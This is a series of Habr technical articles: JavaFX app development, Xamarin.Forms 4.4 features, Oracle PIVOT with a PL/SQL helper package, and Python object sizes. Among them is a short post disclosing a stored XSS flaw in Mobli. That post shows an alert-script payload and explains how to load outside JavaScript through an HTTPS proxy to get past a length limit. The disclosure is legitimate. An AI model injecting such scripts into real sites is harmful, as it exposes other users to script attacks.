Barsukov Viktor
0.0.0.0
${version}
BarCodesFX
BarCodesFX
BarCodesFX.exe
Startup error
Bundled Jre Error
Jre Version Error
Launcher Error
```
Через несколько недель после компоновки дистрибутива был обнаружен задокументированный баг: если в пути к exe-файлу есть названия папок на национальных языках (то есть на любом, кроме английского), то приложение не запускается. К счастью, проект Launch4j в целом живой и этот баг пофиксили.
Далее zip-архив вручную упаковывается в SFX-архив и выкладывается в SourceForge. Теперь пользователь может спокойно скачать единственный установочный exe-файл, несколько раз нажать `ОК` и `Далее` и получить работающую программу.
Функциональность расширяется: подключаю Spring и СУБД
-----------------------------------------------------
Как скрестить ужа с ежом?Проект развивался по классическому Agile: вначале скейт, потом самокат, потом велосипед. На старте основная функциональность заключалась в печати датаматриксов. Потом добавилось генерирование XML-файлов, а в самой программе появились настройки.
Изначально настройки хранились в файле и подтягивались с запуском приложения, однако для пользователей это было неудобно и неочевидно. Затем все переехало в графический интерфейс, но тут начались проблемы с общим доступом к файлу настроек и стало понятно, что не хватает базы данных. Для создания БД мне захотелось использовать знакомый фреймворк, а не писать все с нуля, поэтому я подключил к проекту Spring.
К счастью, есть проект [JavaFX Weaver](https://habr.com/ru/post/478402/), который решает проблемы получения колючей проволоки путем скрещивания ежа и ужа: контроллеры превращаются в бины, dependency injection становятся доступными и становятся доступными прочие плюшки Spring. Но главное — не требуется полностью переписывать все приложение.
В качестве базы данных была выбрана H2. Она легковесная и не требует установки. Пользователь просто запускает приложение и все работает без предварительной установки СУБД.
Добавление шаблонизатора
------------------------
Проект изначально был опенсорсный, поэтому довольно быстро набрал популярность. Но конкуренты не дремлют: для увеличения трафика коммерческие компании создавали свои бесплатные решения. И у этих решений было одно ключевое преимущество — возможность создавать в удобном графическом редакторе свой шаблон этикетки.
Для меня разработка такой функциональности была непозволительной роскошью, потому что заняла бы много времени без гарантии положительного результата. Однако мне все же хотелось добавить шаблонизатор. По умолчанию в моем приложении было только два варианта печати: либо А4, либо термопринтер. На самой этикетке выводился только датаматрикс и чуть-чуть пользовательского текста.
Первый вариант наклеек для листа А4, а второй — для термопринтераВ поисках решения я подробно изучил продукты компании iText. Их [библиотека iТext PDF](https://itextpdf.com/ru/products/itext-7/itext-7-core) используется в BarCodesFX для генерации PDF. У нее есть много разных функций и при этом она полностью бесплатная при использовании в опенсорс-проектах. В коде можно полностью собрать pdf-файл с форматированием, дополнительными элементами и картинками. Через нее же происходит преобразование строки в датаматрикс.
У них же обнаружил [pdfHTML](https://itextpdf.com/ru/products/itext-7/pdfhtml) — библиотеку, которая преобразует HTML-страницу в PDF. Внутри нее нашлась функциональность для заполнения [HTML-шаблона](https://kb.itextpdf.com/home/it7kb/ebooks/itext-7-converting-html-to-pdf-with-pdfhtml/chapter-5-custom-tag-workers-and-css-appliers). Так у пользователя появилась возможность самостоятельно сверстать практически любую этикетку, а не ограничиваться предустановленными шаблонами.
В шаблоне часть тегов нужно было заменять на пользовательские значения. Например, вместо выводить картинку кода, а вместо — номер страницы. Для этого разработчику достаточно в свойствах передать свою `CustomTagWorkerFactory`, которая наследует от `DefaultTagWorkerFactory`. Таким образом, все изменения гармонично встраиваются в поток обработки HTML-кода, при необходимости заменяя дефолтные обработчики тегов на собственные, с помощью имплементации интерфейса ITagWorker .
```
properties.setTagWorkerFactory(new CustomTagWorkerFactory());
List elements =
HtmlConverter.convertToElements(new FileInputStream(htmlSource), properties);
for (IElement element : elements) {
document.add((IBlockElement) element);
}
```
Можно сказать, что в целом шаблонизатор удался и им активно пользуются. Из 194 млн распечатанных кодов 25 млн было сгенерированно с использованием шаблонизатора. В качестве источника данных для заполнения полей типа артикула, цвета и размера используется эксель-файл.
Итоговая кастомизированная наклейкаХотя не обошлось и без нюансов при верстке. Например, если ваш кастомный тег обернуть в , то замена не произойдет. Такая вот особенность библиотеки.
Попытки интеграций с API
------------------------
За время существования проекта было две попытки интеграций с API операторов маркировки.
**Первая интеграция** была с СУЗ (станцией управления заказами) оператора ЦРПТ (Центра развития перспективных технологий). Она прошла успешно, все работало, но в какой-то момент оператор без предупреждения изменил поведение API. Это привело к массовым обращениям от пользователей, которые сообщали об ошибках в работе приложения.
Так как я занимаюсь проектом в свободное время, то не могу быстро реагировать на такие изменения и обеспечить требуемый уровень поддержки. Поэтому от интеграции с API пришлось отказаться. Кроме того, добавилась необходимость использовать [КриптоПро](https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%9F%D1%80%D0%BE) для авторизации, так что эта задача задвинулась в дальний угол.
Вообще [работа с криптографией](https://habr.com/ru/post/573622/) — это весьма интересная задача. Но использовать отечественного криптопровайдера типа КриптоПро в десктопном Java-приложении — это задача «со звездочкой».
**Вторая попытка интеграции** была с API оператора Республики Беларусь. Авторизация у оператора проходила по логину и паролю и не требовала наличия крипто-провайдера. Функциональность была готова к релизу, но в последний момент пришлось отказаться.
* Во-первых, была плохая коммуникация с поддержкой оператора РБ, нежелание разбираться и что-то решать. Их позиция: «У нас все работает, проблема на вашей стороне».
* Во-вторых, нарушение стандарта [RFC 8259](https://datatracker.ietf.org/doc/html/rfc8259) при реализации API. В чате поддержка оператора сказала, что символы GS не нужно экранировать при использовании их API. Это дважды нарушает 7-ой пункт стандарта.
Вместе два этих фактора давали гремучую смесь. Пользователи пытались бы использовать внедренную функциональность, а она не работает должным образом. Обращения шли бы ко мне, отнимая много времени на разбор ошибок. Только после подробного разбора стоило идти к оператору. При этом высока вероятность, что оператор просто «отфутболит» мой запрос, потому что я даже не являюсь резидентом. А с точки зрения пользователя — проблема в программе.
Генерация XML
-------------
Чтобы при работе на сайте не отмечать каждый код в длинном списке, Честный Знак добавил возможность загружать коды файлами. Например, вам нужно списать 2000 кодов и вы просто загружаете один файл, а не выискиваете все эти коды и не прокликиваете их по одному.
Однако файл должен быть в xml-формате с правильно заполненными тегами. Вручную его создавать еще сложнее, чем прокликивать коды по одному. И именно с созданием таких файлов и помогает программа.
Задача создания xml-файлов достаточно типовая, поэтому здесь особо нечего рассказывать, кроме трех интересных моментов:
**Для генерации XML используется библиотека Jackson FasterXML.** При сериализации списков пришлось добавить кастомный StdSerializer, иначе вместо этого…
```
0104600840362250215<QCkpilDMTLs
0104600840362250215\*uJEIn4EH>Rd
```
… получали лишние теги product вокруг списка.
```
0104600840362250215<QCkpilDMTLs
0104600840362250215\*uJEIn4EH>Rd
```
Разрулить ситуацию через аннотации не представлялось возможным, потому что классы генерируются автоматически на базе XSD-схем.
**ЦРПТ ввели дополнительные правила экранирования символов в кодах маркировки в XML.** По этой причине нужно было экранировать одинарные и двойные кавычки, хотя этого не требуется [по стандарту](https://www.w3.org/TR/xml/#syntax) (пункт 2.4).
К счастью, в библиотеке FasterXML это удалось решить [добавлением кастомной EscapingWriterFactory](https://www.titanwolf.org/Network/q/0b2a7b39-6836-4e30-9579-3a40d588f493/y).
```
public Writer createEscapingWriterFor(final Writer out, String enc) {
return new Writer(){
@Override
public void write(char[] cbuf, int off, int len) throws IOException {
String val = "";
for (int i = off; i < len; i++) {
val += cbuf[i];
}
String escapedStr = StringEscapeUtils.escapeXml(val);
out.write(escapedStr);
}
@Override
public void flush() throws IOException {
out.flush();
}
@Override
public void close() throws IOException {
out.close();
}
};
}
```
**ЦРПТ предоставляет некорректные xsd-схемы.** Схемы разделены по документам: есть документ на ввод в оборот, вывод из оборота, списание. Для каждого документа есть свой xsd-файл и при этом есть общая для всех схема — «Определенные пользовательские типы».
Общая схема добавляется через импорт в схемы документов. Например, в схеме документа списания есть такой элемент:
```
Код идентификации
```
Однако тип cis\_type не отражен в общей схеме «Определенные пользовательские типы». Такие типы приходилось допридумывать самостоятельно, потому что даже техподдержка не смогла предоставить полностью валидные схемы.
Тесты
-----
Боль. Их просто нет. А для уважающего себя проекта они должны быть написаны — хотя бы юнит-тесты. Но на все не хватает времени.
И к сожалению, нет ни малейшего представления, как можно тестировать сам интерфейс. Вся надежда на проект [TestFX](https://github.com/TestFX/TestFX/#features), но пока у меня еще не дошли руки посмотреть его подробнее.
Что стоило бы изначально сделать иначе
--------------------------------------
**Контроллер.** Сейчас при запуске приложения открывается форма со множеством вкладок, которые программно управляются из одного класса-контроллера. Из-за этого класс достигает размера под 1000 строк. Можно было бы подключать каждую вкладку как отдельный FXML-файл со своим контроллером — это сделало бы программу намного удобней в разработке и поддержке.
**Подключить DI (dependency injection) на более ранних этапах.** Это повлияло бы в целом на архитектуру и упростило как разработку, так и дальнейшую поддержку. До сих пор в коде видны следы разработки до DI с ручным управлением жизненным циклом объекта. Изначально при написании пришлось потратить время на кодирование жизненного цикла и при дальнейшей разработке приходится помнить об этой особенности.
Немного статистики
------------------
Поделюсь статистикой скачиваний за все время существования проекта. Пик в 7000 скачиваний — это выброс из-за сбоя в SourceForge, когда вместо загрузки файла заново запускался таймер, и так до бесконечности. При этом прокручивался счётчик скачиваний. Остальные пики совпадают с этапами внедрения маркировки.
Пик скачивания из РБ (Республика Беларусь) в последние месяцы обусловлен тем, что программа была официально рекомендована оператором РБ для формирования pdf файлов с этикетками.
Согласно статистике самой программы за все время существования проекта с ее помощью распечатали приблизительно 184 000 000 этикеток и ввели в оборот около 210 000 000 единиц товара, а отгрузили почти 81 000 000 единиц товаров.
Статистика собирается обезличенно, о чем указано в описании к программе. При желании сбор статистики можно отключить. Дружественная компания предоставила серверные мощности для сбора данных.
Цифры приблизительные, потому что статистику начали собирать уже после старта обязательной маркировки обуви. Кроме того, сгенерировать PDF — не значит его распечатать. К тому же у ряда пользователей программа находится за корпоративным фаерволом, поэтому статистика просто не доходит до сервера.
Выводы
------
Разрабатывать десктопные приложения на JavaFx можно: технология живая и достаточно удобная за счет разделения view и controller. В графическом редакторе можно набросать FXML-форму, потом прописать ей поведение в контроллере. Есть подключаемые библиотеки с дополнительными элементами форм. А еще можно написать свои элементы при необходимости. Есть возможность задействовать сторонние фреймворки типа Spring — он работает с современными версиями Java.
Подводя итог можно сказать следующее: если вы Java-разработчик и перед вами поставлена задача сделать утилитное десктопное приложение для внутреннего использования, то JavaFx — хороший выбор. Для написания небольших прикладных программ его более, чем достаточно.
Если же вам нужно сделать коммерческое решение с красивой визуальной картинкой, использующее особенности конкретной ОС (например, сворачивание в трей или показ всплывающих уведомлений), то скорее всего вам потребуется другое решение.
Спасибо, что дочитали, буду рад ответить на вопросы в комментариях.
[Ссылка на проект](https://sourceforge.net/projects/barcodesfx/), ссылка на [исходники](https://gitlab.com/barsukov.victor/barcodesfx) | https://habr.com/ru/post/648949/ | null | ru | null |
# Get Moving with Xamarin.Forms 4.4
We were speaking with a customer last year that builds dozens of mobile applications every year. They said, «We cannot remember the last time we made a mobile app that did NOT include a carousel view.» Many of you have expressed almost identical sentiments to us. So, we are very pleased to introduce a new `CarouselView` control in Xamarin.Forms 4.4.0. Along with this we also have `IndicatorView` for displaying the pages or items in the carousel. As well as `SwipeView` for providing contextual actions to any element in a `CollectionView`. The release theme of getting things moving would not be complete without showcasing the new GIF animation support for images. Let’s begin right there.
Xamarin.Forms 4.4 Features
--------------------------
GIF animations are a great and simply way to add animation to your app for better user feedback, calling attention to some action or detail. It’s also great for cat GIFs, of course. The `Image` is all you need along with the new `IsAnimationPlaying` property to enable and disable playback.
Animations will loop by default. To stop an animation, set `IsAnimationPlaying` to false.
[](http://devblogs.microsoft.com/xamarin/wp-content/uploads/sites/44/2019/12/animated_gif.gif)
Just like that you have animations! This is ideal for smaller images, and especially those embedded in your application. Looping settings in the GIF image are respected. Make sure you are using fast renderers on Android for the best experience.
CarouselView and IndicatorView
------------------------------
Built upon the same base control as `CollectionView`, the new `CarouselView` makes it simple to add rich carousels to your app no matter whether you’re scrolling horizontally or vertically. Just as you get with `CollectionView` you get:
* ItemsLayout
* ItemsSource
* ItemTemplate
* EmptyTemplate
[](http://devblogs.microsoft.com/xamarin/wp-content/uploads/sites/44/2019/12/carousel_rei_2.gif)
```
h01.jpg
h02.jpg
h03.jpg
h04.jpg
```
You also get some carousel specific properties for controlling things such as the distance the previous and next items should «peek» into view.
[](http://devblogs.microsoft.com/xamarin/wp-content/uploads/sites/44/2019/12/carousel_disney.gif)
```
```
Advanced Tip: In the example above you’ll also note that the previous and next items are scaled and offset. You can achieve this today with a behavior and doing the layout modifications on scroll. When we ship 4.5 you’ll instead be able to use visual states to more easily do this.
To add an `IndicatorView` you position it wherever you like and then associate it to the `CarouselView` by name:
```
// implementation here
```
[](http://devblogs.microsoft.com/xamarin/wp-content/uploads/sites/44/2019/12/carousel_wallet.gif)
For more details about all the powerful things you can do with `CarouselView` and `IndicatorView`, refer to the [documentation](https://docs.microsoft.com/xamarin/xamarin-forms/user-interface/indicatorview).
Note: The previously released NuGet [Xamarin.Forms.CarouselView (Preview)](https://www.nuget.org/packages/Xamarin.Forms.CarouselView/2.3.0-pre2) will be archived and no longer released. If you were using this control, you may remove the NuGet and update your code namespace. We worked to keep the API consistent, but you may need to adjust a few things. [GitHub](https://github.com/xamarin/Xamarin.Forms.CarouselView)
SwipeView
---------
This control is typically found within a list of items for allowing the user to swipe in any direction to reveal context buttons for common actions like edit or delete. In order to use this control, just wrap it around whatever element you wish to add the behavior to, and specific your SwipeItems. By default a `SwipeItem` takes a title and an icon, plus a command or click handler. If you wish to add something more complex, you can do that via a template.
[](https://github.com/jsuarezruiz/FavFighters/raw/master/images/favfighters.gif)
```
// content here
```
The above [sample and more were blogged](https://javiersuarezruiz.wordpress.com/2019/12/04/xamarin-forms-un-primer-vistazo-a-swipeview/) by our talented team member Javier Suarez Ruiz.
You can also use platform-specifics to control the swipe transition mode on [Android](https://docs.microsoft.com/xamarin/xamarin-forms/platform/android/swipeview-swipetransitionmode) and [iOS](https://docs.microsoft.com/xamarin/xamarin-forms/platform/ios/swipeview-swipetransitionmode). For more details about `SwipeView`, refer to the [documentation](https://docs.microsoft.com/xamarin/xamarin-forms/user-interface/swipeview).
Contributors
------------
Even before the [massive turnout for Hacktoberfest](https://devblogs.microsoft.com/xamarin) we had a lot of fantastic contributions in the pipeline that are now appearing in Xamarin.Forms 4.4.0. [Check out these great improvements](https://docs.microsoft.com/en-us/xamarin/xamarin-forms/release-notes/4.4/4.4.0#thank-you) from 34 of your fellow developers. Highlights include:
* Use named sizes with FontImageSource – @[tuyen-vuduc](https://github.com/tuyen-vuduc)
* Scaling animation methods ScaleXTo and ScaleYTo – @[sthewissen](https://github.com/sthewissen)
* Letter-spacing – @[KSemenenko](https://github.com/KSemenenko)
* Placeholder text alignment – @[krdmllr](https://github.com/krdmllr)
Get Started with Xamarin.Forms 4.4 Today
----------------------------------------
To get started with Xamarin.Forms 4.4, update or install from your favorite NuGet package manager. The transition from 4.3.0 is smooth. If you are updating from a previous version, take note that Xamarin.Forms and Xamarin.Essentials now depend on Android Support 28.0.0.3. So you will want to update those together along with any other packages you use that might depend on the Android Support libraries.
Make sure to enable the new preview features using `SetFlags` if you wish to use them. To do this globally for all platforms in your solution, add the following in your `App.xaml.cs`:
```
public App()
{
InitializeComponent();
Device.SetFlags(new[] {
"CarouselView_Experimental",
"IndicatorView_Experimental",
"SwipeView_Experimental"
} );
MainPage = new AppShell();
}
```
We will be watching GitHub for your feedback on these preview controls between now and our next version, 4.5 when we expect to move them swiftly out of this preview state. | https://habr.com/ru/post/480038/ | null | en | null |
# Функции Oracle 11g Pivot, Unpivot
В версии 11g появились функции Pivot/Unpivot(которые сначала появились в MS SQL 2005), позволяющие динамически разносить вертикальные данные по столбцам как нам удобно.
[](https://habrastorage.org/storage/habraeffect/44/d4/44d47ea368742b440b609901bc82231f.png "Хабрэффект.ру")
Допустим у вас есть таблица customers:
```
SQL> desc customers
Name Null? Type
----------------------------------------- -------- ---------------------------
CUST_ID NUMBER(10)
CUST_NAME VARCHAR2(20)
STATE_CODE VARCHAR2(2)
TIMES_PURCHASED NUMBER(3)
```
Где выборка
> select cust\_id, state\_code, times\_purchased
>
> from customers
>
> order by cust\_id;
>
>
показывает идентификатор заказчика, код штата, и сколько раз он что-либо покупал:
```
CUST_ID STATE_CODE TIMES_PURCHASED
------- ---------- ---------------
1 CT 1
2 NY 10
3 NJ 2
4 NY 4
```
Нам нужно узнать количество заказчиков сгрупированных по каждому штату и по количеству их заказов:
> select state\_code, times\_purchased, count(1) cnt
>
> from customers
>
> group by state\_code, times\_purchased;
```
ST TIMES_PURCHASED CNT
-- --------------- ----------
CT 0 90
CT 1 165
CT 2 179
CT 3 173
CT 4 173
CT 5 152
...
```
Этот запрос выдает то, что нам нужно, но гораздо удобнее был бы в таком виде:
```
Times_purch CT NY NJ ...
1 0 1 0 ...
2 23 119 37 ...
3 17 45 1 ...
...
```
До версии 11g такое пришлось бы делать многократно повторяя sum(decode(state\_code,'CT',1,0) «CT», sum(decode(state\_code,'NY',1,0) «NY»,… Но благодаря функции pivot мы можем это сделать просто:
> select \* from (
>
> select times\_purchased as «Puchase Frequency», state\_code
>
> from customers t
>
> )pivot(
>
> count(state\_code)
>
> for state\_code in ('NY' as "New York",'CT' «Connecticut»,'NJ' "New Jersey",'FL' «Florida»,'MO' as «Missouri»)
>
> )
>
> order by 1
>
> /
```
Puchase Frequency New York Connecticut New Jersey Florida Missouri
----------------- ---------- ----------- ---------- ---------- ----------
0 16601 90 0 0 0
1 33048 165 0 0 0
2 33151 179 0 0 0
3 32978 173 0 0 0
4 33109 173 0 1 0
...
```
Функция Unpivot совершает противоположные преобразования.
Тем же, кто еще не мигрировал на 11g, могу предложить свой модифицированный [код Тома Кайта](http://asktom.oracle.com/pls/apex/f?p=100:11:0::::P11_QUESTION_ID:31263576751669#76663048528720):
> `create or replace type varchar2\_table as table of varchar2(4000);
>
> /
>
> create or replace package PKG\_PIVOT is
>
>
>
> function pivot\_sql (
>
> p\_max\_cols\_query in varchar2 default null
>
> , p\_query in varchar2
>
> , p\_anchor in varchar2\_table
>
> , p\_pivot in varchar2\_table
>
> , p\_pivot\_head\_sql in varchar2\_table default varchar2\_table()
>
> )
>
> return varchar2;
>
>
>
> function pivot\_ref (
>
> p\_max\_cols\_query in varchar2 default null
>
> , p\_query in varchar2
>
> , p\_anchor in varchar2\_table
>
> , p\_pivot in varchar2\_table
>
> , p\_pivot\_name in varchar2\_table default varchar2\_table()
>
> )
>
> return sys\_refcursor;
>
>
>
> end PKG\_PIVOT;
>
> /
>
> create or replace package body PKG\_PIVOT is
>
> /\*\*
>
> \* Function returning query
>
> \*/
>
> function pivot\_sql (
>
> p\_max\_cols\_query in varchar2 default null
>
> , p\_query in varchar2
>
> , p\_anchor in varchar2\_table
>
> , p\_pivot in varchar2\_table
>
> , p\_pivot\_head\_sql in varchar2\_table
>
> ) return varchar2
>
> is
>
> l\_max\_cols number;
>
> l\_query varchar2(4000);
>
> l\_pivot\_name varchar2\_table:=varchar2\_table();
>
> k integer;
>
> c1 sys\_refcursor;
>
> v varchar2(30);
>
> begin
>
> -- Получаем кол-во столбцов
>
> if (p\_max\_cols\_query is not null) then
>
> execute immediate p\_max\_cols\_query
>
> into l\_max\_cols;
>
> else
>
> raise\_application\_error (-20001, 'Cannot figure out max cols');
>
> end if;
>
>
>
> -- Собираем по кускам необходимый нам запрос
>
> l\_query := 'select ';
>
>
>
> for i in 1 .. p\_anchor.count loop
>
> l\_query := l\_query || p\_anchor (i) || ',';
>
> end loop;
>
> --Получаем названия колонок
>
> k:=1;
>
> if p\_pivot\_head\_sql.count=p\_pivot.count
>
> then
>
> for j in 1 .. p\_pivot.count loop
>
> open c1 for p\_pivot\_head\_sql(j);
>
> loop
>
> fetch c1 into v;
>
> l\_pivot\_name.extend(1);
>
> l\_pivot\_name(k):=v;
>
> EXIT WHEN c1%NOTFOUND;
>
> k:=k+1;
>
> end loop;
>
> end loop;
>
> end if;
>
>
>
> -- Добавляем колонки с полученными названиями
>
> -- в виде "max(decode(rn,1,C{X+1},null)) c\_name+1\_1"
>
> for i in 1 .. l\_max\_cols loop
>
> for j in 1 .. p\_pivot.count loop
>
> l\_query := l\_query || 'max(decode(rn,' || i || ',' || p\_pivot (j) || ',null)) '
>
> ||'"' ||l\_pivot\_name ((j-1)\*l\_max\_cols+i) ||'"'|| ',';
>
> end loop;
>
> end loop;
>
>
>
> -- Вставляем исходный запрос
>
> l\_query := rtrim (l\_query, ',') || ' from ( ' || p\_query || ') group by ';
>
>
>
> -- Группируем по колонкам
>
> for i in 1 .. p\_anchor.count loop
>
> l\_query := l\_query || p\_anchor (i) || ',';
>
> end loop;
>
>
>
> l\_query := rtrim (l\_query, ',');
>
>
>
> -- Возвращаем готовый SQL запрос
>
> return l\_query;
>
> end;
>
>
>
> /\*\*
>
> \* Функция возвращающая курсор на выполненный запрос
>
> \*/
>
> function pivot\_ref (
>
> p\_max\_cols\_query in varchar2 default null
>
> , p\_query in varchar2
>
> , p\_anchor in varchar2\_table
>
> , p\_pivot in varchar2\_table
>
> , p\_pivot\_name in varchar2\_table
>
> ) return sys\_refcursor
>
> is
>
> p\_cursor sys\_refcursor;
>
> begin
>
> execute immediate 'alter session set cursor\_sharing=force';
>
> open p\_cursor for pkg\_pivot.pivot\_sql (
>
> p\_max\_cols\_query
>
> , p\_query
>
> , p\_anchor
>
> , p\_pivot
>
> , p\_pivot\_name
>
> );
>
> execute immediate 'alter session set cursor\_sharing=exact';
>
> return p\_cursor;
>
> end;
>
> end PKG\_PIVOT;
>
> /`
Пример использования:
> `begin
>
> :qq:=pkg\_pivot.pivot\_sql(
>
> 'select count(distinct trunc(dt)) from actions'
>
> , 'select e.name name,sum(a.cnt) sum\_cnt,a.dt,dense\_rank() over(order by dt) rn from actions a left join emp e on e.id=a.emp group by e.name,a.dt'
>
> , varchar2\_table('NAME')
>
> , varchar2\_table('SUM\_CNT')
>
> , varchar2\_table('select distinct ''Date ''||trunc(dt) from actions')
>
> );
>
> :qc :=pkg\_pivot.pivot\_ref(
>
> 'select count(distinct trunc(dt)) from actions'
>
> , 'select e.name,sum(a.cnt) sum\_cnt,a.dt,dense\_rank() over(order by dt) rn from actions a left join emp e on e.id=a.emp group by e.name,a.dt'
>
> , varchar2\_table('NAME')
>
> , varchar2\_table('SUM\_CNT')
>
> , varchar2\_table('select distinct ''Date ''||trunc(dt) from actions')
>
> );
>
> end;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Результат:
[](https://habrastorage.org/storage/habraeffect/45/4c/454c15d644334dffc46d33338fc0f6ac.png "Хабрэффект.ру") | https://habr.com/ru/post/100798/ | null | ru | null |
# XSS уязвимость в Mobli
Совсем недавно мне нужно было загрузить ролик на Mobli, но так как после прошлого [случая](http://habrahabr.ru/post/249589/), у меня появилась привычка проверять сайты на XSS, я решил проверить Mobli.
> [Mobli](http://en.wikipedia.org/wiki/Mobli) — это социальная сеть для обмена фотографиями и видео. Примерное кол-во пользователей 22 миллиона.
Я решил начать с банального
```
alert('Hello');
```
Вставил это в название своего поста и, вы не поверите — сработало.
Более того, оно сработало в Desktop версии приложения, через которое я загружал фотографию.
Честно говоря, я этого не ожидал.
Вот тот же [пост](https://www.mobli.com/post/102030573), только в браузере
Такая же ситуация с комментариями, т.е. можно вставить любой JS скрипт в комментариях фотографии и это будет работать. Конечно, там есть лимит в 150 символов, но его можно легко обойти подключением стороннего JS, но нужно учесть, что у них https и они не подключают js скрипты с доменов с http://
Это тоже можно легко обойти, надо всего лишь найти Online proxy с https соединением, но это работает до тех пор, пока не сдохнет ссылка от прокси и сторонний скрипт не подключается в Desktop версии приложения.
P.S. Я писал в поддержку Mobli, пытался написать через Linkedin, но, кажется, им не до этого.
P.P.S. На самом деле, мне даже неловко называть это уязвимостью, потому что, как мне кажется, каждый кто начинает разрабатывать проект, заботится о фильтрации данных.
**UPD: Mobli исправили уязвимость.** | https://habr.com/ru/post/249891/ | null | ru | null |
# Управление памятью в Python
Одна из главных проблем при написании крупных (относительно) программ на Python — минимизация потребления памяти. Однако управлять памятью здесь легко — если вас вообще это волнует. Память в Python выделяется прозрачно, управление объектами происходит с помощью системы счётчиков ссылок (reference count), и память высвобождается, когда счётчик падает до нуля. В теории всё прекрасно. А на практике вам нужно знать несколько вещей об управлении памятью в Python, чтобы ваши программы эффективно её использовали. Первая вещь, надо хорошо в ней разбираться: размеры основных объектов в Python. И вторая вещь: как устроено управление «под капотом» языка.
Начнём с размеров объектов. В Python есть много примитивных типов данных: целые числа (int), long (версия int с неограниченной точностью), числа с плавающей запятой (они же числа с двойной точностью, double), кортежи (tuple), строковые значения, списки, словари и классы.
Основные объекты
----------------
Каков размер `int`? Программист, пишущий на C или C++, вероятно, скажет, что размер машинно-зависимого (machine-specific) `int` — около 32 бит, возможно, 64; а следовательно, занимает не более 8 байтов. Но так ли это в Python?
Давайте напишем функцию, показывающую размер объектов (рекурсивно, если нужно):
```
import sys
def show_sizeof(x, level=0):
print "\t" * level, x.__class__, sys.getsizeof(x), x
if hasattr(x, '__iter__'):
if hasattr(x, 'items'):
for xx in x.items():
show_sizeof(xx, level + 1)
else:
for xx in x:
show_sizeof(xx, level + 1)
```
Теперь с помощью этой функции можно исследовать размеры основных типов данных:
```
show_sizeof(None)
show_sizeof(3)
show_sizeof(2**63)
show_sizeof(102947298469128649161972364837164)
show_sizeof(918659326943756134897561304875610348756384756193485761304875613948576297485698417)
```
Если у вас 32-битный Python 2.7x, то вы увидите:
```
8 None
12 3
22 9223372036854775808
28 102947298469128649161972364837164
48 918659326943756134897561304875610348756384756193485761304875613948576297485698417
```
А если 64-битный Python 2.7x, то увидите:
```
16 None
24 3
36 9223372036854775808
40 102947298469128649161972364837164
60 918659326943756134897561304875610348756384756193485761304875613948576297485698417
```
Давайте сосредоточимся на 64-битной версии (в основном потому, что в нашем случае она более востребована). `None` занимает 16 байтов. `int` — 24 байта, *в три раза больше* по сравнению с `int64_t` в языке С, хотя это в какой-то мере machine-friendly целое число. Минимальный размер значений типа long (с неограниченной точностью), используемых для представления чисел больше 263 – 1, это — 36 байтов. Затем они увеличиваются линейно, как логарифм представляемого числа.
Числа с плавающей запятой в Python зависят от реализации, но похожи на числа с двойной точностью в C. Однако они не занимают всего лишь 8 байтов:
```
show_sizeof(3.14159265358979323846264338327950288)
```
На 32-битной платформе выдаёт:
```
16 3.14159265359
```
И на 64-битной:
```
24 3.14159265359
```
Это опять втрое больше, чем предположил бы программист на C. А что насчёт строковых значений?
```
show_sizeof("")
show_sizeof("My hovercraft is full of eels")
```
На 32-битной платформе:
```
21
50 My hovercraft is full of eels
```
И на 64-битной:
```
37
66 My hovercraft is full of eels
```
*Пустое* строковое значение занимает 37 байтов в 64-битной среде! Затем потребление памяти увеличивается в соответствии с размером (полезного) значения.
---
Давайте разберёмся и с другими часто востребованными структурами: кортежами, списками и словарями. Списки (реализованные как [списки массивов](http://en.wikipedia.org/wiki/Dynamic_array), а не как [связные списки](http://en.wikipedia.org/wiki/Linked_list), со [всеми вытекающими](http://en.wikipedia.org/wiki/Dynamic_array#Performance)) — это массивы ссылок на Python-объекты, что позволяет им быть гетерогенными. Их размеры:
```
show_sizeof([])
show_sizeof([4, "toaster", 230.1])
На 32-битной платформе выдаёт:
32 []
44 [4, 'toaster', 230.1]
И на 64-битной:
72 []
96 [4, 'toaster', 230.1]
```
Пустой список занимает 72 байта. Размер пустого `std::list()` в 64-битном С — всего 16 байтов, в 4—5 раз меньше. Что насчёт кортежей? И словарей?
```
show_sizeof({})
show_sizeof({'a':213, 'b':2131})
```
На 32-битной платформе выдаёт:
```
136 {}
136 {'a': 213, 'b': 2131}
32 ('a', 213)
22 a
12 213
32 ('b', 2131)
22 b
12 2131
```
И на 64-битной:
```
280 {}
280 {'a': 213, 'b': 2131}
72 ('a', 213)
38 a
24 213
72 ('b', 2131)
38 b
24 2131
```
Последний пример особенно интересен, потому что он «не складывается». Пары ключ/значение занимают 72 байта (их компоненты занимают 38 + 24 = 62 байта, а ещё 10 тратится на саму пару), но весь словарь весит уже 280 байтов (а не минимально необходимые 144 = 72 × 2 байта). Словарь считается эффективной структурой данных для поиска, и две вероятные реализации будут занимать памяти больше, чем необходимый минимум. Если это какое-то дерево, то приходится расплачиваться за внутренние ноды, содержащие ключ и два указателя на дочерние ноды. Если это хеш-таблица, то ради хорошей производительности нужно иметь место для свободных записей.
Эквивалентная (относительно) структура `std::map` из C++ при создании занимает 48 байтов (пока ещё пустая). А пустое строковое значение в C++ требует 8 байтов (затем размер линейно растёт вместе с размером строки). Целочисленное значение — 4 байта (32 бит).
---
И что нам всё это даёт? Тот факт, что пустое строковое значение занимает 8 или 37 байтов, мало что меняет. Действительно. Но лишь *до тех пор*, пока ваш проект не начнёт разрастаться. Тогда вам придётся очень аккуратно следить за количеством создаваемых объектов, чтобы ограничить объём потребляемой приложением памяти. Для настоящих приложений это проблема. Чтобы разработать действительно хорошую стратегию управления памятью, нам нужно следить не только за размером новых объектов, но и за количеством и порядком их создания. Для Python-программ это очень важно. Давайте теперь разберёмся со следующим ключевым моментом: с внутренней организацией выделения памяти в Python.
Внутреннее управление памятью
-----------------------------
Чтобы ускорить выделение памяти (и её повторное применение), Python использует ряд списков для маленьких объектов. Каждый список содержит объекты одного размера: может быть один список для объектов от 1 до 8 байтов, другой — для объектов 9—16 байтов и т. д. Когда нужно создать маленький объект, мы вновь используем свободный блок в списке или выделяем новый.
Есть несколько нюансов, как Python распределяет эти списки по блокам, пулам и «аренам»: несколько блоков формируют пул, пулы собираются в арену и т. д. Но мы в это углубляться не будем (если хотите, то можете почитать мысли Эвана Джонса о том, [как улучшить выделение памяти в Python](http://www.evanjones.ca/memoryallocator/)). Нам важно знать, что эти списки *неуменьшаемы*.
